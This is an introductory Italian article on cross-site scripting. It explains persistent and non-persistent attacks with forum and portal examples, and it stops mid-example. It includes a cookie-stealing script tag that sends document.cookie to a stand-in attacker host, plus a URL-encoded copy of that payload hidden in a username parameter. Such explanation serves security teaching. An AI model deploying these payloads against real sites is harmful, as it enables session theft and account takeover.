Introduzione al Cross-Site Scripting (XSS): Cos’è il Cross-site Scripting?




Cross-site scripting (XSS) è una tecnica di attacco che forza un sito web a ripetere codice eseguibile aggiuntivo caricato in un browser da un qualsiasi utente. Questo codice è solitamente scritto in  HTML/Javascript ma può anche estendersi a VBScript, ActiveX, Java, Flash e qualsiasi tecnologia supportata dai browser.

Quando un utente malintenzionato esegue il proprio codice sul browser, il codice sarà eseguito nel security-context (o zona) relativo all’hosting del sito web. Con questo livello di privilegio, il codice ha la capacità di leggere, modificare e trasmettere eventuali dati sensibili accessibili dal browser.

Un utente vulnerabile a XSS potrebbe trovarsi il suo conto rubato (furto di cookie), il suo browser potrebbe essere reindirizzato altrove o eventualmente avere una frode dei propri dati attraverso il sito web che sta visitando. Essenzialmente,un attacco XSS compromette la “fiducia” tra un utente ed il sito web in questione.

Esistono due tipi di attacchi Cross-site Scripting: attacchi persistenti ed attacchi non persistenti.

Gli attacchi non persistenti richiedono che un utente visiti un link appositamente modificato con codice malizioso. Appena il link sarà visitato,il codice malizioso verrà eseguito all’interno del browser dell’utente. Gli attacchi persistenti invece hanno il codice maligno all’interno di pagine web che vengono hostate online per un periodo di tempo.Esempi di target preferiti da utenti maliziosi sono messaggi web mail, web chat, in una board ecc.L’utente che è ignaro di tutto non deve necessariamente cliccare su qualche link specifico ma basta semplicemente visitare la pagina web contentene il codice maligno.

Esempi

Attacchi persistenti

Molti siti web ospitano bacheche o forum dove utenti registrati possono inserire i propri commenti e/o messaggi. Un utente registrato solitamente è univocamente identificato attraverso un ID di sessione cookie che lo autorizza a postare messaggi. Se un utente malintenzionato dovesse inviare un messaggio contenente codice Javascript opportunamente creato,allora un utente ignaro di tutto potrebbe leggere il messaggio e trovare i propri cookie e il proprio account compromesso.

Cookie Stealing Code Snippet:

<SCRIPT> document.location= ‘http://attackerhost.example/cgi- bin/cookiesteal.cgi?’+document.cookie </SCRIPT>

Attacchi non persistenti

Molti portali offrono una vista personalizzabile del web site e spesso appena un utente effettua il login viene salutato con un messaggio di benvenuto. A volte i dati di riferimento degli utenti registrati vengono memorizzati all’interno dell’ URL e sono visualizzabili sullo schermo. Ecco un esempio:

http://portal.example/index.php?sessionid=12312312&username=Joe

In questo esempio il nome utente “Joe” è tranquillamente visibile nell’url. Il risultato mostra una pagina web con un messaggio del tip “Benvenuti, Joe”. Se un utente malintenzionato dovesse modificare il nome utente nel campo URL, inserendo  codice Javascript per rubare i cookie, sarà possibile ottenere il controllo di account utente.

Molte persone potrebbero però avere sospetti se dovessero vedere codice Javascript in un URL quindi un utente malintenzionato perderà un pò di tempo a “mascherare” il codice maligno nell’URL come nell’esempio che segue.

URL Encoded example of Cookie Stealing URL:

http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

mentre questo è un esempio di codice JS nell’URL

Decoded example of Cookie Stealing URL:

http://portal.example/index.php?sessionid=12312312& username=